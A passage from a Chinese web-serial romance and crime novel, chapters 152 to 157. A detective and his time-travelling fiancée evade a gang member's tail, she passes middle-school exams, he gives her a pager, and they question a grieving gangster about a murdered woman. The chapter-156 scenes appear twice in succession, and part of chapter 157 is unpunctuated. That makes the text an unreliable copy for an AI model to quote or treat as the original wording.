就瞒不住家里,这种事情,安暖不想让他们知道。这也不是什么光彩的事情,爷爷年纪也大了,受不了惊吓。“不回老宅。”楚隽道:“不过后面有尾巴,把尾巴甩了再回家。”所谓跟着的尾巴,那一定就是鄂平成的人了。安暖一听立刻紧张起来,眯着眼睛往后看。但这在人来人往的大街上,每一辆同边的车都是往前开的。安暖一时还真不能确定到底哪一辆是跟着她的。但是楚隽比起他,更加的身经百战。“后面那辆白色的。”楚隽道:“刚才我们在楼上的时候,这辆车就停在警局门口。我们出来后,他就跟了上来。开车的司机我见过,是鄂平成身边的一个小弟。”楚隽说着,打了方向,汇入车流。安暖确定一下自己系好了安全带,大概知道了楚隽要往哪里去。楚隽的车技很好,想要在街上甩掉一辆车太简单了。无论在人多的地方,还是在人少的地方。而且他这辆车的性能好,鄂平成的车不可能比他的车性能好。“别担心。”楚隽道:“我这辆车是改装过的,防撞防弹,而且鄂平成的人也没有那么丧心病狂,敢在闹事开枪。”楚隽现在开的还是之前那辆车,在水库遇到枪击之后,车受到了一定的损伤,拖去修理之后,昨天才修好回来。万万没想到,可能立刻又要派上用场了。就在楚隽为自己可怜的爱车流一滴心疼的眼泪的时候,安暖说“哎,你说,你这辆车是不是有点不吉利?”“怎么了?”“一开就出事儿啊。”安暖说:“上次也是枪击,这次又是可能被追,多少有点不吉利在里面。要不然,下次咱们弄点黑狗血擦擦。”楚隽紧紧盯着前面,一时不知道该说什么。这车即便对他来说,也觉得挺贵,一直还挺喜欢的。万万没想到,在安暖这里,被贴了一个不详的标签。楚隽卡着时间过了几个红绿灯,盯梢的车就被甩掉了。在市里甩尾巴就是这么简单。只要卡好时间,让自己成为过十字路口的最后一辆车,几个路口一卡,盯梢的人自然就落下了。转了一圈,楚隽将车开回了三室套。到家之后,楚隽又去打了个电话。“给我送辆车来,对,就我警局边上的房子。”楚隽说:“我的车对方认识,怕被盯上。”楚隽想得还是很周到的。这案子一时半会儿未必就能破,他们不可能窝在家里不出门。出门因为车被认出来,就不合适了。虽然不怕他们,但是没有必要在这种细节上出错。雨已经小了很多,半个小时后,安暖从阳台玻璃看下去,看见一辆黑色的车开到了楼下。从车上下去一个人,打着伞很快地就离开了。楚隽只看了一眼,便道:“车送到了。”“不用送钥匙上来吗?”安暖奇道:“车丢下就行了。” 第153章 割喉,风流浪子人设 e“不用送上来,钥匙在车上,下去直接拿就行了。”楚隽说:“晚一点,他会把我的车开走,这车停在这里有点扎眼。” “你那个车确实有点扎眼。”安暖喜欢这辆车:“我喜欢这车,越野,看着好威风。” “你还知道越野车呢?” 楚隽从后面走过来,突然一把搂住安暖的腰。 “唉呀。”安暖吓了一跳:“你干什么?” “你喜欢越野车?” 楚隽靠过来,将下巴轻轻放在她肩膀上。 “是呀。”安暖说:“我喜欢越野,边角方方正正的。虽然根据原理来说,流线型的车身可以减少风阻,降低油耗,提高驾驶性能。但我还是喜欢有棱有角的造型,感觉比流线型的冷酷。” “嗯,我也挺喜欢的。”楚隽说:“不过,你知道这是越野车?” 安暖僵了一下。 刚才说顺口了。 她一个从乡下来的姑娘,进京不过十来天,还能知道越野车?能对车侃侃而谈?还知道流线型的车身? “哦,知道呀。”安暖浑不在意道:“之前你不是给我辆车开嘛,我觉得太贵了,就查了点资料。最近又在学初中课本,上面有一些知识就涉及了风阻的知识,自然就融会贯通了。” 不管安暖是不是真的天才,反正她在楚隽面前,把自己的人设立得很好。 江郎才尽是以后的事情,以后再说。 楚隽果然没有怀疑,只是搂在她腰上的手往前挪了挪,捂在小腹上。 “进屋吧,免得在外面吹到风。”楚隽说:“不舒服的时候就多坐着躺着,要是再不舒服,我再帮你揉揉。” 安暖觉得,这生理期弄的,两人的关系似乎一下子突飞猛进了。楚隽好像有了一个名正言顺贴贴碰碰的借口一样,本来觉得自己是占便宜,现在变成了关心。 但男女朋友之间,又好像本该如此。 明天上午就要考试,梁柔的案子有江副队负责,在楚隽身边,安暖也觉得很安全,索性不去想太多,专心复习。 楚隽不时的会打几个电话出去,不时的,也会接到几个电话。 安暖有些遗憾,这个年代的通讯总是不太方便,若是在她那个年代,楚隽大概更能运筹帷幄吧。 第二天是上午九点,是楚隽和学校约了给安暖考试的时间。 两人早早起来。 楚隽虽然是个唯物主义者,多少还是有一些迷信的。 他给安暖的盘子里摆了一根油条,两个水煮蛋。 “来,都吃了。”楚隽说:“一定能考一百分。” 安暖看着觉得好笑。 “你还挺有仪式感的。”安暖说:“我也不能都考一百分吧,不然是不是张扬了。” 这话也很张扬,但是非常符合安暖的人设。 果然俗话说得对,不怕学霸考满分,就怕学霸会控分。 “你自由发挥吧。”楚隽道:“满分也可以,如果你真的能考出满分,说不定可以跳级。” 楚隽是不屑走后门在学术上作假的,但如果安暖有真材实料,就是另一回事了。 他也可以卷出一阵风,送安暖上青云。吃了饭,两人出门。 安暖果然喜欢越野,难得站在车边,摸了两下。 “这么喜欢?那你来开。”楚隽弯下腰在车门侧面一摸,摸出车钥匙来,抛给安暖:“等梁柔的案子结了,你就开这车吧。霸气,适合你。” “别别别。”安暖连忙摆手:“今天你先开,我在车上临阵抱佛脚。” 楚隽也不勉强,进了驾驶室。 上了车,楚隽从后座拿出个袋子递给安暖。 安暖打开一看:“还准备了这个啊?” 一顶假发。 “戴上吧,小心一点总不错。” 安暖是黑直的齐耳短发,这长发是黑色染了点酒红的大波浪。 戴上之后,判若两人。 楚隽也戴上了墨镜。 车窗上贴了一层膜,只能从里面往外看,从外面看不见里面。 出了小区,直奔学校去。 安暖看了会儿书,终于忍不住道:“我听你昨天打了不少电话,现在怎么样了?有什么进展吗?” 说是要回避,但楚隽不可能真的不闻不问。只是不参与刑警队的调查罢了,他自己是一定要调查的,也算是双线并行吧。 这件事情鄂平成如果追究,可能鄂家也会牵扯在其中,不知道鄂嘉荣会不会出面。警方当然不怕鄂家,但是做事时时处处要守规矩,就会受到很多限制。 “也算是有点进展吧。”楚隽道:“既然现在梁柔身边最复杂的人是鄂平成,我便让人重点去查他。” 安暖很感兴趣:“他的私生活是不是很乱,风流浪子,三天换两个女朋友?会不会是前女友和现女友之间的感情纠结?” “对,但是也有些不对。”楚隽道:“虽然鄂平成的名声不太好,确实是情场浪子,但仔细地查了,他之前那些女朋友都是逢场作戏,换的勤,来得快去的快,给钱打发,而且,从没有承认过任何一个女人的身份。只有梁柔,不一样。” 只要认识梁柔的人,或者认识鄂平成的人,都知道梁柔有一个狂热的追求者。也知道鄂平成心里疯狂地喜欢一个人。 但梁家是正经的人家,有头有脸有身份地位。而鄂平成是个混混,就算有权有势有小弟,正常人也看不上,不敢看上的那种。 梁柔也看不上。 他们两个,是绝对没有未来的。 梁家就算是掐死这个女儿,也不可能让她嫁给鄂平成。 安暖皱了眉头:“这么说,要是查鄂平成的感情线,很难查啊,会牵扯到很多人。” “是。”楚隽道:“会牵扯到很多人,但凶手很有可能就在其中。想要知道这些人的名单,无所遗漏,最好让鄂平成提供信息。” 谈过的人,才知道自己谈了多少个。 安暖想了想鄂平成,他都知道在楚隽面前挑拨离开,应该也不是那么蠢才对。 安暖道:“梁柔对他那么重要,他难道就一点脑子都没有,非得死盯着我不放?他就没考虑过,查一查自己身边的人?他要是查了,我们也能省点事儿。” “他会查的。”楚隽道:“但不能指望他。毕竟,他不是专业的。” 鄂平成查,一来,可能查不出。二来,过激会闹出人命。 学校的门楼已经在眼前了,楚隽说:“我打算找鄂平成谈一谈。” 第154章 割喉,九十九分 安暖吓了一跳:“我以为我们现在要躲着他呢,还要找他吗?” 这算什么,明知山有虎,偏向虎山行? “呵。”楚隽笑了一声:“昨天我甩尾巴,你不会觉得我怕鄂家吧?” “那倒不是。” 安暖不是为了楚隽的面子这么说,是真的这么想。 之前楚隽就跟他说过鄂家,是不太放在眼里的表情。而且在夜总会碰面那一次,鄂嘉荣的示弱十分明显。鄂嘉荣那样的人,要不是真的搞不过,怎么会挨了一酒瓶还说软话? 带着一帮兄弟,凶神恶煞的,老大给人低头,这是丢了多大的面子啊。 出来混的人,面子可是比天大的。 楚隽道:“我不在意鄂家兄弟,之所以昨天把他们甩开,只是单纯地想避开风口浪尖的麻烦。他们手下有不少人,跟着后面恶心你,也是件挺烦的事情。” 那些都是无所事事的混混,今天给你泼桶水,明天给你塞两只死耗子,这多膈应人。 这种事情,抓起来也只是关几天,他们根本不在意。 “你说得对。”安暖道:“阎王好见,小鬼难缠,确实没有必要。” “是。我已经让人联系鄂平成了,约他见一面,说说这事情。我想他没有那么蠢,会同意的。” 楚隽将车开进学校,停了下来。 今天是周六,学生放学,学校里安安静静的。 “下车吧,别紧张。”楚隽说:“一件事情一件事情的做,上午咱们要做的事情就是考试,不要想梁柔,不要想鄂平成。” “好。” 楚隽提前跟学校领导打了招呼,教导主任和几位老师都在等着。 他们客客气气的,当然未必相信楚隽说的,安暖一个小学五年级肄业的姑娘,能够考初一初二初三的卷子。 他们只是单纯的,给楚隽面子罢了。 “楚队。”虞主任迎来上来:“好久不见。” “你好,虞主任。”楚隽伸出手跟他握了握:“今天放假,还要麻烦虞主任和几位老师,辛苦了。” 一番寒暄。 楚隽介绍安暖。 “这是我未婚妻。”楚隽现在已经可以光明正大地介绍安暖了:“她小时候因为一些问题,只上了五年小学就辍学了。但是她很爱学习,靠自学学完了初中课程。只是你们也知道,现在很多单位招聘,都需要文凭,所以我们商量着,想让她来考试,能拿一个真正的文凭。” “好,好。”虞主任说:“年轻人喜欢学习是好事,不管多大,学习总是不会错的。既然安同志已经自学了初中课本,那我这边准备了一套初一的卷子,你做做看?” 安暖今天是特意打扮过的。 特别年轻,特别乖巧,特别斯文。叫人一看就是好孩子。 但一切最终还是要看成绩。 如果安暖卷子做的一塌糊涂,今天楚隽的面子估计也就能让老师们说话不要那么难听罢了。 当下,安暖坐到了办公桌前。 一张数学卷子铺开。 几个老师也不含糊,生怕楚隽是来走后门的,为了表示自己大公无私,直接就站在了安暖身边,看着她写。 这几张卷子都是学校里的老师出的,市场上没有,不怕提前被泄露,不怕安暖之前就看过。 楚隽并不担心,坐在一旁的沙发上看报纸。安暖做卷子,他已经看过无数次了,一点儿都不担心。 高考他不敢说,初中,对安暖来说是小菜一碟。 安暖哗啦哗啦地写了下去,一点儿也不磕绊。 一张卷子很快就做完了。 一旁的几位老师,本来心里是各有想法的,看着安暖做完半张卷子之后,想法就统一路。 楚隽做事果然靠谱,安暖不是来混日子的。 卷面整洁,做题的速度很快,正确率也很高。 这绝对不是小学五年级的水平,楚隽说安暖自学完了初中课程,这不是瞎说的。 安暖今天简直是学神附身,一套卷子接着一套卷子,作文太耗时间先放在一边,其他的一科接着一科的写。 她有耐心,老师们也有耐心。 第二张卷子做到一半的时候,第一张数学卷子已经改出来了。 九十九分。 有一个计算错误,还是有点紧张,看岔了。 楚隽在一旁看了一眼,觉得肯定是因为今天早上安暖在吃早饭的时候,剩下了半个蛋黄造成的。要不然不会少这一分。 整整一上午的时间,安暖做了七张卷子。 开始的两张卷子是全做的。 后面的几张卷子,老师也觉得太辛苦,直接在卷子上勾出一些代表性的题目来,让安暖挑着做。 “做完了。”安暖写下最后一个字,放下笔,甩了甩手:“您看一下。” 一旁的虞主任拿起最后一张卷子看了看,一脸的惊喜。 “小安同志,你真的只有小学五年级学历吗?”虞主任一脸的不可置信:“其他都是自学的?” “是。”安暖道:“额……虞老师,别的我不敢说,但是初中的卷子我都可以做,你们如果不信的话,可以拿几张初三的卷子过来。” 初中卷子做满分,这不是什么不得了的事情。 但靠自学,能把卷子做成这样,这学习能力是很了不起的。 当老师的,看见爱学习的人,就觉得很高兴。 虞老师看了看表:“安同志写了一上午了,也要休息一下。要不然这样,我们去吃中饭,休息一下,下午再写。” “是该吃饭了。”安暖站起身来:“我请几位老师,就在学校门口的饭店随便吃一点。” 为人处世,楚隽是明白的。 他又不缺钱,为人处世就格外方便。 老师们推辞了一番,推辞不过,便一起吃饭去了。 也不走远,就在学校门口找了家饭店,要来个包厢,炒了几个菜,要了一瓶好酒,再给女老师要了两瓶饮料。 “暖暖。”楚隽道:“我得陪老师们喝一点儿,一会儿你开车,没问题吧?” “没问题。”安暖一口应了:“这车我能开,不过你也少喝点。” “行。” 楚隽很高兴,他觉得和安暖出来很不错。 今天很有面子。 第155章 割喉,约见 一顿饭吃饱喝足,宾主尽欢。 虞主任给两人提供了一个办公室休息一下,下午三点钟继续。 本来按照老师们的意见,也没有那么着急,一天做十几套卷子这也太累了,学习虽然重要,也没有这么心急火燎的。 但安暖就是心急火燎的,恨不得上午参加高考,下午大学毕业。 “你真的不用休息休息?”楚隽也觉得有点拼了:“你还在生理期,这么费心思,也很劳累吧?” “没事儿。”安暖哗啦啦地翻着书:“我迫切地报效祖国的心,度日如年。” 这理由,就说谁能拒绝?楚隽都快要被感动了。 下午,安暖又考了一个下午。 不过这回老师们对安暖宽容了不少,根据她对初一知识点的熟悉程度,商量了一下,直接给了几张初三的卷子。 安暖自然是毫无问题。 几位老师看着安暖的卷子十分欣慰。 本来还担心不好拒绝楚隽的要求,如今就不怕了。 “安同志的知识十分扎实。”廖主任说:“跟上初三的课程一点问题都没有。” 安暖很高兴地看了楚隽一眼。 就说选我没错吧。 楚隽表面很淡定,心情很复杂,但总体来说,是件好事。 当下几人就说好,等安暖的档案资料准备好,就能办入学手续。她来京市本不打算常住,一切身份资料都还在老家,如今要入学,虽然不必着急迁户口,但也有一些手续要办。 出了学校上了车,楚隽和安暖商量。 “暖暖,我这几天一直在想一件事情,要不然的话,你把户口迁过来怎么样?” “迁户口?” “是。”楚隽道:“把户口迁过来,很多事情都要方便很多。就算是找工作,本地户口和外地户口,有时候也有一些区别。” “这样啊……”安暖有些纠结起来:“可是也不太方便吧,迁户口是不是要有地方接收,我现在也没有单位,往哪里迁呢?” “当然是迁在家里。”楚隽探过身去,给安暖系上安全带:“不用迁在单位。” “可我……” 安暖说了三个字,就停了下来。 楚隽说得简单,迁在家里?问题是这个家是翟家,不是她家,就算能迁,迁过去之后呢? 她和楚隽说到底还在谈恋爱,谈恋爱的结果是结婚,或者分手。万一分手之后,就算爷爷喜欢她,她也不可能继续留在翟家。 爷爷年纪大了,就算身体健康也时日有限。 一日恩,百日仇,安暖有自知之明,不想等到那一日弄得和翟家不愉快。 楚隽明白安暖的顾虑。 “不必担心,只要你同意,手续的事情我来办。”楚隽说:“不用你费什么心的,也不用跑一趟……不过说起来,等这案子忙完,我陪你回老家一趟。我想去拜祭一下老爷子和叔叔阿姨,你也有一些东西要收拾,有朋友要告别吧。” 毕竟是安暖生活了多年的地方。 她这一趟是打算来了,把事情说清楚就走了,家里随便锁了个门,什么准备都没有。 楚隽说的很真诚,但安暖想了想,还是拒绝了。 “不着急。”安暖道:“我不想那么早迁户口,等一等吧。” “等到什么时候?” “明年吧。”安暖道:“我拿到正式工作,或者……等我们结婚以后,我再迁户口,不着急这一时片刻地。” 总要有一个合法合规的理由。 楚隽把户口迁出来容易,到时候她想再迁回去,可就麻烦了。 这事情好意心领,但安暖暂时不会接受。 有些心意可以接受,有些心意不能接受,安暖是一个有原则的人。 楚隽有些遗憾的感觉,但见安暖坚持,也就应了。 回家之后,楚隽又打了个电话。 挂了电话后,楚隽说:“已经安排好了,明天和鄂平成见一遍。就安排在白云酒店,你……要和我一起去吗?” 安暖先是毫不犹豫地说了一声:“去!” 然后顿了顿:“我去,会不会影响你。毕竟我也不能打,万一打起来,帮不上忙,还要拖累你。” “这个你放心,不至于打起来。”楚隽道:“他不会那么天真,我也不会那么天真。他可能会安排人手,但我一定会安排人手。明天这场聚会,就算是谈崩了,也不会打起来。” 楚隽带的肯定不是刑警队的人,但他如此自信,一定有人手。 “那我去。”安暖道:“不会给你拖后腿,我就去。” 楚隽都开了这个口,安暖绝对信任他。 今天做了一天卷子,安暖看见字多的东西就有点想吐,难得例外的没有看书,看了会儿电视。 电视在这个年代还是稀罕物,但楚隽自然是走在科技前沿的,国内国外的东西,只要方便的好用的,都能安排上。 安暖之前已经掐指算了算,再过几年,就能有大哥大用了。虽然不比手机方便,但总要好一点。 她来这个年代,因为住在翟家,其他的都还好,但是没有手机这一点,真的是觉得很不习惯。至今,也都还不太习惯。 实在是太不方便了。 正想着呢,楚隽突然说:“对了,送你个东西。” “什么?” 楚隽进房间里,拿出个盒子。 “送给你。” “是什么?”安暖打开盒子一看:“bb机?” \"对。\"楚隽走过来,从盒子里拿出说明书:“你带在身上,如果出门在外,联系起来比较方便。” bb机在这个年代也还是挺贵的东西,不过不能直接通讯,必须要找一个固定电话,拨打传呼机总台的电话号码,并告知工作人员你要呼叫的bb机号码以及想要传达的信息。 对方的bb机会接收到你的呼叫信号,知道你在找他。 bb机只有接收功能,没有发送功能,但有总比没有好。 而且,现在是bb机刚进入国内市场的时候,连发送中文信息也做不到,只能接收到数字信息。能显示中文的bb机,也还要再过几年。 安暖拿着bb机翻来覆去地看,只想叹气。 楚隽有点奇怪。 他以为安暖会很高兴才对,但是安暖的表情也不是太高兴。 这表情收敛又复杂,不好说是为什么。 第156章 割喉,先达成共识 女人的心思果然不好猜。 楚隽迟疑道:“不喜欢?” 按理说不应该啊,安暖是个实用主义者,这在生活中能看出来,喜欢漂亮,但漂亮和实用如果二选一,会毫不犹豫的选择实用。 比如手表。 她愿意戴手表,不愿意带手镯手链。 bb机也是今年才出现的时兴东西,价格不菲,就这个小东西要两千一台,一般家庭也是消费不起的。 当然这对楚隽是小钱,但是得到了实用的新东西,安暖不应该表现出开心吗? “喜欢。”安暖接过说明书:“我看看这东西怎么用。” 大概知道,但是具体的,真的没用过,要研究一下。 “真喜欢?”楚隽心里有点没底。 他觉得自己也怪不容易的。 虽然楚隽没谈过恋爱,但是没吃过猪肉还没看过猪跑吗,身边的兄弟朋友,那谈恋爱的多的是,也蹭了一些经验。 比如给女朋友送礼。 要是送给别的姑娘一个这么贵重的礼物,那姑娘肯定很高兴。 但在安暖这里,总觉得差了点什么。 也不是不喜欢,但确实不是那种发自内心的,特别特别的喜欢。 “真的喜欢。”安暖抬头看着楚隽,真心道:“谢谢你,很喜欢。” 楚隽送表送车送手机,没有不喜欢的道理,她那一点失落,也不是因为楚隽,只是单纯的有些遗憾罢了。 楚隽细细地看安暖的表情,觉得她没有说谎。 “我来教你这个怎么用。”楚隽坐到安暖身边:“很简单,一学就会。以后如果在外面要找我,就可以给我发消息。” 安暖认真地学了一下bb机的用法。 楚隽约了鄂平成第二天中饭。 他说他安排了人手,不过安排得挺隐蔽的,没有那么张扬,安暖也没有特意去找。 到了白云酒店约好的包厢外,只见门口站了几个穿着黑色西装,带着墨镜的人。 不是安暖想吐槽,室内环境戴墨镜,真的不怕看不清楚吗? 这个年代的黑社会,也如此做作。 门口站着的人认识楚隽,看见他后道:“三少。” 安暖这一瞬间觉得,楚隽才是那个黑白通吃的人吧。这要是被拍下来,刑警队长的工作就别要了。 楚隽点了点头。 “鄂二少来了?” “在里面呢。” 手下打开房门。 楚隽回头看了安暖一眼,低声道:“不怕吧?” 安暖摇了摇头。 楚隽都不怕,她怕什么? “那我们进去吧。”楚隽伸手握住安暖的手,走进包厢。 包厢里一张圆桌,已经摆了几道凉菜,都十分精美。 鄂平成坐在桌边,身边还站着个小弟。 看见楚隽进来,鄂平成站了起来。 “楚少。”鄂平成语气还挺平稳:“安小姐,又见面了。” 不过短短的一日未见,鄂平成的模样十分憔悴,和上次见面完全不一样。 他衣服倒是整洁,头发也打理得整齐,但是眼下乌青眼中血丝遮掩不住,还有嘶哑的声音。 鄂平成手上还缠着纱布,上面渗出一点血色。梁柔的死,对他的影响看来很大。 这么深的感情,能这么快抽身冷静下来,他确实不简单。 楚隽牵着安暖的手,在对面坐下。 楚隽说:“节哀顺变。” 他是会说话的。 鄂平成轻轻地呼出一口气:“谢谢。” 楚隽道:“鄂二少,既然你对梁柔感情那么深,我就直说了,今天找你,是想了解一下情况。” 鄂平成看着安暖。 安暖并不心虚,也不害怕,平静地回视。 “鄂二少。”安暖道:“在我们聊正事之前,我想先和你确认一件事情。” “你说。” 安暖直白地说:“我不是凶手。” 鄂平成瞪安暖。 安暖坦然道:“先有共识,才好说话。鄂二少,虽然梁柔在死前说出了我的名字,但这应该不至于影响你的判断力,你不会怀疑我吧?” 鄂平成沉默了一下,嘶哑道:“不会。我想来想去,你完全没有理由对梁柔动手。” 不是动机不足,是一点点动机都没有。 安暖很欣慰。 她觉得鄂平成说的是真话,他能这么想,就是可以合作的基础。 “那就好。”安暖说:“那我们就谈案子吧。” 鄂平成道:“请说。” 楚隽给倒了一杯热茶,说:“今天我来找你,是私人的身份。因为这件案子牵扯到我的未婚妻,所以我被要求回避了。” 鄂平成点了点头。 他现在肯定留了人在局里,随时了解一切相关情况,楚隽回避休假了,他自然知道。 楚隽道:“但是,也正因为此事牵扯到我的未婚妻,所以我不得不查。而我想来想去,梁柔遇害,最可能和你有关。” 鄂平成沉默不语。 楚隽道:“昨天凌晨那么大的雨,梁柔为什么会出门,出现在家门口的小公园里。是你约她的吗?” 除了男朋友,还有谁能把一个姑娘约出门。 鄂平成皱了眉头:“不是。” “那……她和你交往的这些日子,你们感情如何?” 楚隽虽然相信鄂平成,但这也是把他当做犯人在审,但这也是不可避免的。 鄂平成说:“挺好的。” 安暖总觉得有一点避重就轻的意思。 她在桌下,掐了掐楚隽的手。 楚隽侧头看她,点了点头。 你想问什么,也可以问。 这就是他带着安暖的意义。 安暖不是带去当花瓶的,是带来干活儿的。 安暖说:“鄂二少,我就直说了。” “说吧。”鄂平成从兜里掏出烟盒,抽出一根烟,但想了想又放下了:“有话直说,现在这情况,也不必拐弯抹角的。” “好。”安暖说:“据我所知,你喜欢梁柔很久,但梁柔一直是拒绝的。最近你们在一起了,前阵子在商场的服装店,我见过你们在一起逛街。那一天,我和梁柔说了几句话,我感觉,她不像是在热恋中。” 刚刚谈恋爱的人是有一种甜蜜气场的,让人一眼就能看出来。 但是那一天安暖见到的梁柔,不是那么回事。 安暖道:“梁柔和你在一起,是被迫的吗?” 女人的心思果然不好猜。 楚隽迟疑道:“不喜欢?” 按理说不应该啊,安暖是个实用主义者,这在生活中能看出来,喜欢漂亮,但漂亮和实用如果二选一,会毫不犹豫的选择实用。 比如手表。 她愿意戴手表,不愿意带手镯手链。 bb机也是今年才出现的时兴东西,价格不菲,就这个小东西要两千一台,一般家庭也是消费不起的。 当然这对楚隽是小钱,但是得到了实用的新东西,安暖不应该表现出开心吗? “喜欢。”安暖接过说明书:“我看看这东西怎么用。” 大概知道,但是具体的,真的没用过,要研究一下。 “真喜欢?”楚隽心里有点没底。 他觉得自己也怪不容易的。 虽然楚隽没谈过恋爱,但是没吃过猪肉还没看过猪跑吗,身边的兄弟朋友,那谈恋爱的多的是,也蹭了一些经验。 比如给女朋友送礼。 要是送给别的姑娘一个这么贵重的礼物,那姑娘肯定很高兴。 但在安暖这里,总觉得差了点什么。 也不是不喜欢,但确实不是那种发自内心的,特别特别的喜欢。 “真的喜欢。”安暖抬头看着楚隽,真心道:“谢谢你,很喜欢。” 楚隽送表送车送手机,没有不喜欢的道理,她那一点失落,也不是因为楚隽,只是单纯的有些遗憾罢了。 楚隽细细地看安暖的表情,觉得她没有说谎。 “我来教你这个怎么用。”楚隽坐到安暖身边:“很简单,一学就会。以后如果在外面要找我,就可以给我发消息。” 安暖认真地学了一下bb机的用法。 楚隽约了鄂平成第二天中饭。 他说他安排了人手,不过安排得挺隐蔽的,没有那么张扬,安暖也没有特意去找。 到了白云酒店约好的包厢外,只见门口站了几个穿着黑色西装,带着墨镜的人。 不是安暖想吐槽,室内环境戴墨镜,真的不怕看不清楚吗? 这个年代的黑社会,也如此做作。 门口站着的人认识楚隽,看见他后道:“三少。” 安暖这一瞬间觉得,楚隽才是那个黑白通吃的人吧。这要是被拍下来,刑警队长的工作就别要了。 楚隽点了点头。 “鄂二少来了?” “在里面呢。” 手下打开房门。 楚隽回头看了安暖一眼,低声道:“不怕吧?” 安暖摇了摇头。 楚隽都不怕,她怕什么? “那我们进去吧。”楚隽伸手握住安暖的手,走进包厢。 包厢里一张圆桌,已经摆了几道凉菜,都十分精美。 鄂平成坐在桌边,身边还站着个小弟。 看见楚隽进来,鄂平成站了起来。 “楚少。”鄂平成语气还挺平稳:“安小姐,又见面了。” 不过短短的一日未见,鄂平成的模样十分憔悴,和上次见面完全不一样。 他衣服倒是整洁,头发也打理得整齐,但是眼下乌青眼中血丝遮掩不住,还有嘶哑的声音。 鄂平成手上还缠着纱布,上面渗出一点血色。梁柔的死,对他的影响看来很大。 这么深的感情,能这么快抽身冷静下来,他确实不简单。 楚隽牵着安暖的手,在对面坐下。 楚隽说:“节哀顺变。” 他是会说话的。 鄂平成轻轻地呼出一口气:“谢谢。” 楚隽道:“鄂二少,既然你对梁柔感情那么深,我就直说了,今天找你,是想了解一下情况。” 鄂平成看着安暖。 安暖并不心虚,也不害怕,平静地回视。 “鄂二少。”安暖道:“在我们聊正事之前,我想先和你确认一件事情。” “你说。” 安暖直白地说:“我不是凶手。” 鄂平成瞪安暖。 安暖坦然道:“先有共识,才好说话。鄂二少,虽然梁柔在死前说出了我的名字,但这应该不至于影响你的判断力,你不会怀疑我吧?” 鄂平成沉默了一下,嘶哑道:“不会。我想来想去,你完全没有理由对梁柔动手。” 不是动机不足,是一点点动机都没有。 安暖很欣慰。 她觉得鄂平成说的是真话,他能这么想,就是可以合作的基础。 “那就好。”安暖说:“那我们就谈案子吧。” 鄂平成道:“请说。” 楚隽给倒了一杯热茶,说:“今天我来找你,是私人的身份。因为这件案子牵扯到我的未婚妻,所以我被要求回避了。” 鄂平成点了点头。 他现在肯定留了人在局里,随时了解一切相关情况,楚隽回避休假了,他自然知道。 楚隽道:“但是,也正因为此事牵扯到我的未婚妻,所以我不得不查。而我想来想去,梁柔遇害,最可能和你有关。” 鄂平成沉默不语。 楚隽道:“昨天凌晨那么大的雨,梁柔为什么会出门,出现在家门口的小公园里。是你约她的吗?” 除了男朋友,还有谁能把一个姑娘约出门。 鄂平成皱了眉头:“不是。” “那……她和你交往的这些日子,你们感情如何?” 楚隽虽然相信鄂平成,但这也是把他当做犯人在审,但这也是不可避免的。 鄂平成说:“挺好的。” 安暖总觉得有一点避重就轻的意思。 她在桌下,掐了掐楚隽的手。 楚隽侧头看她,点了点头。 你想问什么,也可以问。 这就是他带着安暖的意义。 安暖不是带去当花瓶的,是带来干活儿的。 安暖说:“鄂二少,我就直说了。” “说吧。”鄂平成从兜里掏出烟盒,抽出一根烟,但想了想又放下了:“有话直说,现在这情况,也不必拐弯抹角的。” “好。”安暖说:“据我所知,你喜欢梁柔很久,但梁柔一直是拒绝的。最近你们在一起了,前阵子在商场的服装店,我见过你们在一起逛街。那一天,我和梁柔说了几句话,我感觉,她不像是在热恋中。” 刚刚谈恋爱的人是有一种甜蜜气场的,让人一眼就能看出来。 但是那一天安暖见到的梁柔,不是那么回事。 安暖道:“梁柔和你在一起,是被迫的吗?” 第157章 割喉,上了手段的爱情 鄂平成的脸色立刻就不好看了。 他这样常年在外面混的人身上是自带着一股戾气的。杀没杀过人不知道但手上肯定见过血。这一刻立刻眉眼都阴冷了下来瞪着安暖。 没想到安暖半点也不在意。 “别看我没结果。”安暖冷漠道:“鄂二少你要是真的想和我们好好谈为了梁柔好好谈就要坦白地回答所有问题。不能但凡听见一句不顺耳的就撂挑子这样咱们是谈不要了的。” 别说鄂平成看了一眼安暖楚隽也看了一眼安暖。 这姑娘身上真的有一种淡定的劲儿。 就这劲儿不是一般人能有的。 在楚隽想来安暖最刺激的经验应该也就是在老家和人吵吵架了怎么就能在鄂平成面前一点不怯呢? 可惜他的想象力终究有限想来想去觉得最大的可能是因为她信任自己。 楚隽顿时觉得心里很舒服。 “鄂平成。”楚隽道:“我们来找你是来解决问题的。安暖说得对如果你想有所隐瞒或者你觉得因为梁柔已经**所以你们之间的感情只能报喜不能报忧你们必须是一对恩爱情侣那我们就没什么好说的了。” 楚隽握住安暖的手做出打算离开的姿势。 这事情到现在谁着急? 女儿被害的梁家着急感情深厚的鄂平成着急全权负责调查的江笑愚着急。梁家施压局里领导也会有点着急。 至于一个正在休假被要求回避的刑警 如果只是为了避开风口浪尖的危险更明智的举动甚至应该是两个人出去散散心旅旅游。等这事情查出个水落石出再回来。 鄂平成的拳头在桌上收紧又慢慢放开。 “呵。”鄂平成突然嗤笑了一声:“我哥说得对真是怕和你们做刑警的打交道。眼睛就跟测谎仪似的在你们面前不能瞎说话。” 楚隽确定这是夸他们呢。 “那就别瞎说。”楚隽道:“有一句说一句别说谎。” “好。”鄂平成伸手摸了摸打火机但是没拿起来而是拿起烟揪了一块塞进嘴里嚼了嚼。 那滋味肯定很刺激安暖看着都觉得嘴里又辣又麻的。 鄂平成嚼了几下将烟丝吐了出来喝了口茶。 看样子他要说的话挺艰难的。 “我喜欢梁柔三年了。”鄂平成忆起了往昔:“第一次见到她是我那天大意被人堵在巷子 里,她路过救了我。看她的穿着打扮,我以为她和我一样,没想到她是个千金大小姐。” 大概是这种反差萌吸引了鄂平成,或者是救命之恩要以身相许的魔咒,从那之后,鄂平成就疯狂的喜欢上了梁柔。 但是追不上。 鄂平成说:“我用了很多办法,很长时间,但是梁柔都不接受我。她不缺钱,有文化,家里也不可能接纳我的身份,所以我一直很苦恼。一直到半个月前。” 安暖奇道:“半个月前,你就不苦恼了?” “不。”鄂平成道:“是更苦恼了,因为我哥,说我年纪不小了,该结婚了,所以让我去相亲,并且必须认真相亲,尽快结婚。” 这倒是他们没有想到的发展。 不过鄂平成今年也有二十五了,也到了该谈婚论嫁的年纪。 鄂平成家父母早逝,只有兄弟俩相依为命,做哥哥得催着弟弟成家,也是理所应当。 鄂平成道:“我只喜欢梁柔一个人,自然是不愿意和别人结婚的。所以我就……” 